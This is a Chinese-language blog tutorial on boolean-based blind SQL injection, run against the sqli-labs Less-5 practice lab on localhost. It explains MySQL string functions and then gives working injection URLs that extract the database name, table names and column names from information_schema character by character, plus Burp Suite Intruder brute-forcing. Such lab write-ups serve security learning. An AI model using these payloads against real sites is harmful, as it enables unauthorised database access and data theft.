SQL盲注学习-布尔型

  本次实验仍是使用sqli-labs环境。在开始SQL盲注以前首先学习一下盲注须要用到的基础语法。python

  一、left()函数:left(str,lenth)它返回具备指定长度的字符串的左边部分。mysql

  left(a,b) 从左边截取a的b位 正则表达式

  咱们在命令行使用sqli-labs数据库实验一下,首先使用security数据库,而后对数据库名第一个字符进行查询,找到了第一个字母ssql

 

判断数据库第一位是否为s,加入判断语句=‘s’,看到结果返回1,说明当去数据库第一个字母为s数据库

 

 *没有使用数据库时结果返回为空函数

 

 

 

  二、regexp函数:REGEXP在mysql是用来执行正则表达式的一个函数学习

  select user()  regexp ’root’    查询当前用户是否为root,regexp为匹配root的正则表达式ui

  

 

  查看当前数据库是否存在rispa

  

 

 

   三、like函数:LIKE一般与通配符%一块儿使用,%表示通配pattern中出现的内容,而不加通配符%的LIKE语法,表示精确匹配,其实际效果等同于 = 等于运算符命令行

   select user() like ‘ro%’       查询当前用户是否为ro开头,能够看出当前用户是ro开头

 

 

 

  使用like精准查询,这里能够看到使用like查询当前用户是否为root,结果为假,这是为何呢?

  

 

 

  由于我当前用户名为root@localhost

  

  再次使用like精准查询当前用户,就返回了正确结果

  

 

 

  四、sbustr函数:sbustr函数是用来截取字符串长度的函数。

  substr(a,b,c),就是从位置b开始截取a字符串的c位长度

  

 

  判断当前数据库第一个字母是否为s

  

 

  判断前4位是否为secu

  

 

 

  五、ascii() 函数:查看字符/数字/符号的ascii码

  查询字母的ascii码 select ascii(‘c’)

   

 

   查询数字的ascii码 select ascii(1)

  

 

  查询符号的ascii码

  

   

  六、python使用chr()将ascii码转换为对应字符,使用ord()将字符转换为ascii码

  

 

  接下来进行试验,打开sqli-labs第五关

  一、首先判断注入点 http://localhost:8088/sqli-labs/Less-5/?id=1,返回正常页面

 

 

 

   输入http://localhost:8088/sqli-labs/Less-5/?id=1',页面报错说明存在注入点

  

 

 

  二、使用order by猜列数,在order by 4时页面报错,说明存在3个列。

  

 

  三、使用length函数查询数据库名长度直到找到正确的为止

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+

 

 

 

 也可使用Burp Suite抓包对长度进行爆破

 

 

获得了数据库长度为8位

 

 

 

   四、对数据库名进行猜解

  判断数据库的第一位开始一个字符的ascii是否大于100

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+      结果返回正确

 

 

 判断是否小于200  

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+        页面显示为空

 

 

 不断缩小范围ascii范围

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+        页面显示为空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        页面显示为空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        页面显示为空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+        结果返回正确

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+        页面显示为空

  不断尝试后找到数据库第一位的ascii码为115

 

 

  使用python查询ascii码115对应的字符为s

  

  修改substr参数查询第二字符,不断尝试找到其ascii为101

 

 

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+

 

  使用python获得第二字段为e

  

 

  因为刚刚已经才接到数据库名字长度为八个字符,因此须要破解到到第八位,就能够获得当前数据库名字了。

  五、接下来开始猜解表

  首先查看security数据库中表的数量,发现有四个表

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+                   页面显示为空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+                   页面显示为空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+                   页面显示为空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+                   结果返回正确

 

 

  使用length函数查询第一个表字段数:

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+

 

  使用ascii对第一个表的第一个字符进行猜解最终获得其ascii码为101

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

 

使用python获得字符为e

 

 

 依次对六个字符进行猜解,获得数据表名为emails,看上去应该是邮件,不是咱们想要的内容,接下来能够进行破解第二个表长度以及猜解名称这里不作演示,直到获得所有4个数据表名称emails、 referers 、uagents、users。接下来对users表进行猜解

  六、猜解数据

 首先判断列数,获得了一共有三个列。

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+

  接下来对第一列表名的长度进行查询

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+  

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+

   使用ascii方法猜解第一个列第一个字符,获得105,第一个字符为i

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+    猜解第一列i 

 

 

  修改substr函数,第二个参数,对第二个字符进行猜解,ascii码117,获得字符d

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+    猜解第一列d

 

 

 

 接下来步骤相似,对其他数据进行猜解就能够了。

   

这是ASCII码中全部能够显示的字符,能够做为猜解的ASCII数值应该就是32-126,因此是否是只要把阈值范围内的数值作成一个字典直接跑就好了呢?

 

使用这个Payload试一下:

localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+

Burp Suite抓取数据包,提交到Intruder,将数值添加为变量,而后加载32-126的字典

 跑一下康康,成功获得了正确的ASCII码,

 

 

 

而后使用left方法试一下,使用left函数判断当前数据库名字的左边第一位是否为字符1,页面显示任何信息因此结果为不是

localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+

 

如今咱们遍历全部能够输入的字符爆破数据库的第一个字符,实验一下,果真成功遍历出了正确的字符S,可是大小写S均可以成功,那么s的ASCII为115而S的ASCII为83,为何使用ASCII遍历时候能够成功呢?

 

 

 

 

下面能够看到security数据库的第一字符为s

 

 查看ASCII码

 

 而后判断一下其ASCII码是否为115

 

 那么判断它是否为83

  

 

 结果为否。

因此我以为缘由多是由于用户在建立数据库时侯使用的时小写的security因此这个数据被记录在数据库中,在盲注时使用ASCII方法猜解到了数据库所存储的小写security信息,而因为数据库自己时不区分大小写的,因此当咱们查询时使用大写小写都可以查询到该数据库。就致使了爆破时s/S都可以爆破成功。

  接下来使用left方法对数据库名其他字符进行爆破,修改left的参数为2,使查询一次返回两个字符,而后将正确的第一个输入对第二个字符进行爆破,获得正确的两个字符

 

 

 

 这样的话用left进行猜解,字典能够减小26个字母。

相关文章
相关标签/搜索